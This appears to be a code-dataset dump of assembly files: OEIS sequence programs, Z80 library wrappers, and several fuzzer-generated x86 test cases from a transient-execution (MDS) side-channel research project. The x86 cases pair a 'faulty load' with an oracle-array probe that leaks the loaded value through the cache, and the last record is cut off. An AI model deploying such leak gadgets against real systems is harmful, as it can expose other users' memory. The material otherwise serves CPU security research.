hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5c7d111d6365402c153e9dae33cf59386de0fe69 | 344 | asm | Assembly | oeis/295/A295581.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/295/A295581.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/295/A295581.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A295581: Maximal value of a length-n "minimal cyclically good sequence" in the sense of Cavenagh et al. (2006).
; Submitted by Christian Krause
; 3,5,6,8,9,11,13,15,18,21,23,26,29
mov $3,$0
trn $0,6
mul $3,5
lpb $3
add $2,1
sub $3,1
mov $5,$2
div $5,3
add $5,$0
mov $4,$5
div $4,2
cmp $4,0
add $5,$4
lpe
mov $0,$5
add $0,3
| 16.380952 | 113 | 0.610465 |
135798e7bf2a1f863e47acae945720fc2877c839 | 369 | asm | Assembly | programs/oeis/325/A325459.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/325/A325459.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/325/A325459.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A325459: Sum of numbers of nontrivial divisors (greater than 1 and less than k) of k for k = 1..n.
; 0,0,0,0,1,1,3,3,5,6,8,8,12,12,14,16,19,19,23,23,27,29,31,31,37,38,40,42,46,46,52,52,56,58,60,62,69,69,71,73,79,79,85,85,89,93,95,95,103,104,108,110,114,114,120,122,128,130,132,132,142
trn $0,1
mov $2,$0
seq $0,2541 ; a(n) = Sum_{k=1..n-1} floor((n-k)/k).
sub $0,$2
| 46.125 | 185 | 0.639566 |
8c66e00a210654355c042bf769031a2067f6aedf | 6,971 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_1193.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_1193.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_1193.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x15956, %r9
nop
nop
nop
nop
xor $14234, %r12
movb $0x61, (%r9)
nop
nop
nop
nop
and $26734, %r14
lea addresses_WT_ht+0x1dd02, %rdx
add %rdi, %rdi
movups (%rdx), %xmm5
vpextrq $1, %xmm5, %rax
nop
nop
add %rdx, %rdx
lea addresses_normal_ht+0x166b2, %rax
nop
inc %r11
movw $0x6162, (%rax)
nop
nop
nop
nop
dec %r11
lea addresses_D_ht+0x158a2, %rsi
lea addresses_normal_ht+0x1ac2a, %rdi
nop
nop
nop
nop
nop
cmp %r12, %r12
mov $103, %rcx
rep movsb
xor %rdi, %rdi
lea addresses_A_ht+0x1a32a, %r12
nop
nop
nop
nop
nop
xor $42958, %rdi
mov (%r12), %ecx
nop
nop
nop
nop
nop
sub $39250, %rsi
lea addresses_normal_ht+0xadb8, %rsi
nop
nop
nop
nop
xor %r12, %r12
mov $0x6162636465666768, %rdx
movq %rdx, %xmm2
vmovups %ymm2, (%rsi)
nop
nop
nop
dec %rdx
lea addresses_normal_ht+0x10baa, %rsi
lea addresses_UC_ht+0xf72a, %rdi
nop
nop
nop
nop
nop
sub %rax, %rax
mov $126, %rcx
rep movsq
xor %rsi, %rsi
lea addresses_D_ht+0xb2a, %rsi
nop
nop
nop
nop
and %rdi, %rdi
mov (%rsi), %edx
nop
nop
nop
nop
nop
xor $52719, %rsi
lea addresses_UC_ht+0x962a, %rdx
nop
nop
nop
dec %r9
mov $0x6162636465666768, %rcx
movq %rcx, %xmm2
movups %xmm2, (%rdx)
nop
nop
nop
dec %rsi
lea addresses_normal_ht+0x11a9a, %rax
nop
nop
nop
nop
add %rcx, %rcx
and $0xffffffffffffffc0, %rax
vmovntdqa (%rax), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %r12
dec %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %rax
push %rbx
push %rcx
push %rdx
// Store
lea addresses_A+0x1f2a, %rax
nop
nop
mfence
movw $0x5152, (%rax)
nop
nop
sub %r13, %r13
// Load
lea addresses_normal+0xff2a, %r12
nop
nop
nop
nop
cmp %rcx, %rcx
movb (%r12), %bl
nop
cmp $4449, %r13
// Faulty Load
lea addresses_A+0x1f2a, %r12
sub %rbx, %rbx
mov (%r12), %cx
lea oracles, %r12
and $0xff, %rcx
shlq $12, %rcx
mov (%r12,%rcx,1), %rcx
pop %rdx
pop %rcx
pop %rbx
pop %rax
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 4}}
{'52': 21829}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
| 34.171569 | 2,999 | 0.658012 |
a4e41a99f1fa2850495bdc5c11715e2c8b03046b | 250 | asm | Assembly | libsrc/_DEVELOPMENT/adt/bv_priority_queue/c/sccz80/bv_priority_queue_size.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/bv_priority_queue/c/sccz80/bv_priority_queue_size.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/bv_priority_queue/c/sccz80/bv_priority_queue_size.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; size_t bv_priority_queue_size(bv_priority_queue_t *q)
SECTION code_adt_bv_priority_queue
PUBLIC bv_priority_queue_size
defc bv_priority_queue_size = asm_bv_priority_queue_size
INCLUDE "adt/bv_priority_queue/z80/asm_bv_priority_queue_size.asm"
| 22.727273 | 66 | 0.88 |
b00a95589c5baae89e10f4a379a3133d14c098f0 | 6,362 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_92_141.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_92_141.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_92_141.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xbb32, %rsi
lea addresses_WC_ht+0xd46f, %rdi
nop
nop
nop
nop
sub %r12, %r12
mov $88, %rcx
rep movsl
nop
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_D_ht+0x1b67f, %rdi
nop
sub %r8, %r8
movb (%rdi), %r15b
nop
nop
nop
nop
nop
add $61603, %r15
lea addresses_WC_ht+0xa27f, %rsi
lea addresses_UC_ht+0x15a54, %rdi
cmp %r14, %r14
mov $109, %rcx
rep movsl
nop
nop
add $23421, %r12
lea addresses_WC_ht+0xb00f, %r14
nop
nop
nop
xor $60811, %r12
and $0xffffffffffffffc0, %r14
vmovaps (%r14), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %rsi
nop
nop
nop
sub %r14, %r14
lea addresses_WT_ht+0x165f, %rsi
nop
xor %rdi, %rdi
mov (%rsi), %r12d
nop
lfence
lea addresses_UC_ht+0x46d7, %r14
nop
nop
nop
nop
nop
add %rdi, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, (%r14)
nop
nop
cmp %r15, %r15
lea addresses_D_ht+0x9f7f, %rsi
lea addresses_normal_ht+0x567f, %rdi
add %rbx, %rbx
mov $127, %rcx
rep movsw
nop
nop
nop
xor %rcx, %rcx
lea addresses_A_ht+0xcba7, %r8
clflush (%r8)
cmp %r15, %r15
mov (%r8), %r12w
nop
nop
nop
inc %r14
lea addresses_normal_ht+0x2a7f, %rsi
nop
nop
and %r8, %r8
mov (%rsi), %ebx
nop
sub %r8, %r8
lea addresses_D_ht+0x5e7f, %rsi
lea addresses_A_ht+0x1da7f, %rdi
nop
xor %rbx, %rbx
mov $8, %rcx
rep movsq
nop
sub %rsi, %rsi
lea addresses_D_ht+0x82d3, %rsi
lea addresses_normal_ht+0x11b9f, %rdi
nop
nop
nop
nop
nop
cmp %r15, %r15
mov $80, %rcx
rep movsw
nop
nop
nop
nop
xor $38460, %rbx
lea addresses_D_ht+0x15a7f, %rdi
add %r15, %r15
mov (%rdi), %r14
nop
nop
nop
nop
sub %rbx, %rbx
lea addresses_normal_ht+0x472f, %rsi
lea addresses_D_ht+0x1af7f, %rdi
clflush (%rdi)
add $20318, %r8
mov $63, %rcx
rep movsl
nop
nop
nop
sub %rbx, %rbx
lea addresses_normal_ht+0xe27f, %rsi
nop
nop
nop
nop
inc %r15
mov $0x6162636465666768, %r8
movq %r8, %xmm4
movups %xmm4, (%rsi)
nop
nop
nop
nop
cmp %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_A+0x173a7, %r12
nop
nop
nop
nop
nop
inc %rsi
movl $0x51525354, (%r12)
nop
nop
sub %r12, %r12
// Store
lea addresses_PSE+0x16cff, %r12
nop
nop
nop
and $6938, %rdi
movw $0x5152, (%r12)
nop
nop
add %rdi, %rdi
// Load
mov $0x67f, %r9
nop
nop
nop
add $2269, %rsi
mov (%r9), %rdx
nop
nop
cmp $9623, %rdi
// Load
lea addresses_RW+0x1527f, %r9
nop
nop
nop
nop
nop
sub %rdx, %rdx
mov (%r9), %r11
nop
cmp %rdx, %rdx
// Store
lea addresses_RW+0x17cbf, %r9
nop
nop
nop
nop
nop
and %rdi, %rdi
mov $0x5152535455565758, %rcx
movq %rcx, %xmm6
movups %xmm6, (%r9)
nop
nop
nop
xor $32897, %r9
// Store
lea addresses_WT+0x4baf, %rdx
nop
inc %r11
mov $0x5152535455565758, %r9
movq %r9, (%rdx)
nop
nop
nop
add $34064, %rdx
// Faulty Load
lea addresses_RW+0xaa7f, %r11
nop
nop
nop
xor %r12, %r12
movups (%r11), %xmm1
vpextrq $0, %xmm1, %rsi
lea oracles, %r9
and $0xff, %rsi
shlq $12, %rsi
mov (%r9,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_PSE'}}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_P'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_RW'}}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 10, 'AVXalign': True, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 4, 'AVXalign': True, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 2, 'AVXalign': True, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal_ht'}}
{'32': 92}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 21.277592 | 275 | 0.646809 |
8dbc5e43e7739a53ff7fe284f3009b132efee864 | 601 | asm | Assembly | oeis/002/A002661.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/002/A002661.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/002/A002661.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A002661: Least integer having Radon random number n.
; 1,2,3,5,10,18,35,63,126,231,462,858,1716,3218,6435,12155,24310,46189,92378,176358,352716,676039,1352078,2600150,5200300,10029150,20058300,38779380,77558760,150270098,300540195,583401555,1166803110,2268783825,4537567650,8836315950,17672631900,34461632205,68923264410,134564468610,269128937220,526024740930,1052049481860,2058357681900,4116715363800,8061900920775,16123801841550,31602651609438,63205303218876,123979633237026,247959266474052,486734856412028,973469712824056,1912172650190110
add $0,2
mov $1,$0
div $1,2
bin $0,$1
add $0,1
div $0,2
| 60.1 | 488 | 0.84193 |
f98551ef3b3146b233ad2bfaffcc001bcfb49bf3 | 6,521 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_15641_1313.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_15641_1313.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_15641_1313.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0xcdbe, %rax
clflush (%rax)
nop
nop
nop
nop
nop
and $36870, %rsi
mov (%rax), %rdi
nop
nop
xor $47658, %rdx
lea addresses_WC_ht+0xc022, %r10
nop
nop
nop
add %r11, %r11
movb (%r10), %r13b
nop
xor $50820, %rdx
lea addresses_WT_ht+0x3dbe, %rsi
lea addresses_normal_ht+0x1a83e, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
add $49183, %r13
mov $109, %rcx
rep movsw
and $19332, %r10
lea addresses_UC_ht+0x17856, %rax
nop
nop
nop
dec %rdx
mov $0x6162636465666768, %r11
movq %r11, %xmm2
vmovups %ymm2, (%rax)
nop
add $63663, %r11
lea addresses_UC_ht+0x668e, %rsi
lea addresses_A_ht+0x3dfe, %rdi
nop
nop
nop
nop
nop
and %r10, %r10
mov $13, %rcx
rep movsb
cmp %rdx, %rdx
lea addresses_D_ht+0x11dbe, %rdi
nop
nop
nop
nop
nop
and %rdx, %rdx
movb $0x61, (%rdi)
nop
nop
nop
nop
cmp $51178, %r13
lea addresses_WT_ht+0x12dbe, %rsi
lea addresses_A_ht+0xbe, %rdi
nop
nop
nop
nop
nop
add $53505, %rdx
mov $44, %rcx
rep movsw
nop
add $49003, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %r9
push %rbx
push %rdx
// Store
lea addresses_D+0x1743a, %rbx
sub %r15, %r15
movl $0x51525354, (%rbx)
nop
cmp $6436, %r12
// Store
lea addresses_normal+0xdbe, %rbx
nop
nop
nop
nop
nop
dec %rdx
movl $0x51525354, (%rbx)
nop
cmp %r14, %r14
// Load
lea addresses_WC+0x266e, %r14
sub $17088, %r15
vmovups (%r14), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %r12
nop
nop
nop
xor %r14, %r14
// Faulty Load
lea addresses_US+0x15dbe, %rbx
xor $23310, %r9
movups (%rbx), %xmm3
vpextrq $1, %xmm3, %rdx
lea oracles, %r14
and $0xff, %rdx
shlq $12, %rdx
mov (%r14,%rdx,1), %rdx
pop %rdx
pop %rbx
pop %r9
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}}
